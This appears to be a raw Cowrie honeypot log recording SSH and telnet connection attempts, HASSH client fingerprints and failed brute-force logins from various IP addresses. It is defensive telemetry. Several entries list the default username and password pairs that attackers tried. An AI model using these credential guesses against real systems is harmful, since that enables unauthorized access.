{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:34.527668Z","src_ip":"91.92.40.4","session":"02bde8e0362b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sj@123456","message":"login attempt [root/sj@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:34.890033Z","src_ip":"223.197.186.7","session":"80fad9915d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:34.919461Z","src_ip":"91.92.40.4","session":"02bde8e0362b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:36.002236Z","src_ip":"91.92.40.4","session":"02bde8e0362b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:36.104810Z","src_ip":"223.197.186.7","session":"80fad9915d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":54092,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c91819a7039","protocol":"ssh","message":"New connection: 217.160.226.51:54092 (159.203.135.109:22) [session: 2c91819a7039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:42.087519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:42.093724Z","src_ip":"217.160.226.51","session":"2c91819a7039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:42.199226Z","src_ip":"217.160.226.51","session":"2c91819a7039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cisco@12345","message":"login attempt [root/cisco@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:42.655883Z","src_ip":"217.160.226.51","session":"2c91819a7039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:50:43.764668Z","src_ip":"217.160.226.51","session":"2c91819a7039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":48710,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b0ad37354e3","protocol":"ssh","message":"New connection: 223.17.1.118:48710 (159.203.135.109:22) [session: 5b0ad37354e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:35.696883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:35.701034Z","src_ip":"223.17.1.118","session":"5b0ad37354e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:35.914440Z","src_ip":"223.17.1.118","session":"5b0ad37354e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nico","message":"login attempt [root/nico] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:36.803451Z","src_ip":"223.17.1.118","session":"5b0ad37354e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:38.029363Z","src_ip":"223.17.1.118","session":"5b0ad37354e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":50918,"dst_ip":"159.203.135.109","dst_port":22,"session":"db709d160d5e","protocol":"ssh","message":"New connection: 161.248.201.12:50918 (159.203.135.109:22) [session: db709d160d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:47.499584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:47.503493Z","src_ip":"161.248.201.12","session":"db709d160d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:47.757581Z","src_ip":"161.248.201.12","session":"db709d160d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12344321","message":"login attempt [deployer/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:48.805911Z","src_ip":"161.248.201.12","session":"db709d160d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45098,"dst_ip":"159.203.135.109","dst_port":23,"session":"5169f39db499","protocol":"telnet","message":"New connection: 170.64.224.25:45098 (159.203.135.109:23) [session: 5169f39db499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:49.067237Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:51:50.061662Z","src_ip":"161.248.201.12","session":"db709d160d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":52038,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ee099be43a7","protocol":"ssh","message":"New connection: 167.172.187.11:52038 (10.17.0.5:22) [session: 3ee099be43a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:00.208956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:00.216352Z","src_ip":"167.172.187.11","session":"3ee099be43a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:00.303256Z","src_ip":"167.172.187.11","session":"3ee099be43a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcde@12345","message":"login attempt [root/Abcde@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:00.673895Z","src_ip":"167.172.187.11","session":"3ee099be43a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:01.763175Z","src_ip":"167.172.187.11","session":"3ee099be43a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":60066,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cceacb46995","protocol":"ssh","message":"New connection: 167.86.88.212:60066 (159.203.135.109:22) [session: 0cceacb46995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:05.667783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:05.671516Z","src_ip":"167.86.88.212","session":"0cceacb46995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:05.764229Z","src_ip":"167.86.88.212","session":"0cceacb46995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"secret","message":"login attempt [ubuntu/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:06.167231Z","src_ip":"167.86.88.212","session":"0cceacb46995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:07.264637Z","src_ip":"167.86.88.212","session":"0cceacb46995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":45634,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c996f5eda0e","protocol":"ssh","message":"New connection: 91.92.40.4:45634 (10.17.0.5:22) [session: 2c996f5eda0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:22.038785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:22.046548Z","src_ip":"91.92.40.4","session":"2c996f5eda0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:22.248202Z","src_ip":"91.92.40.4","session":"2c996f5eda0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"passwd","message":"login attempt [postgres/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:22.545658Z","src_ip":"91.92.40.4","session":"2c996f5eda0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:23.629275Z","src_ip":"91.92.40.4","session":"2c996f5eda0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.160.226.51","src_port":35728,"dst_ip":"159.203.135.109","dst_port":22,"session":"1feab5982cd8","protocol":"ssh","message":"New connection: 217.160.226.51:35728 (159.203.135.109:22) [session: 1feab5982cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:31.509400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:31.513369Z","src_ip":"217.160.226.51","session":"1feab5982cd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:31.626360Z","src_ip":"217.160.226.51","session":"1feab5982cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:32.111126Z","src_ip":"217.160.226.51","session":"1feab5982cd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:33.226284Z","src_ip":"217.160.226.51","session":"1feab5982cd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.295761823654175,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:36.362888Z","src_ip":"170.64.224.25","session":"5169f39db499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53810,"dst_ip":"159.203.135.109","dst_port":23,"session":"3586d698e044","protocol":"telnet","message":"New connection: 170.64.224.25:53810 (159.203.135.109:23) [session: 3586d698e044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:39.044631Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":20105,"dst_ip":"10.17.0.5","dst_port":22,"session":"7394751e17ec","protocol":"ssh","message":"New connection: 223.197.186.7:20105 (10.17.0.5:22) [session: 7394751e17ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:52.113431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:52:52.117736Z","src_ip":"223.197.186.7","session":"7394751e17ec","protocol":"ssh"}
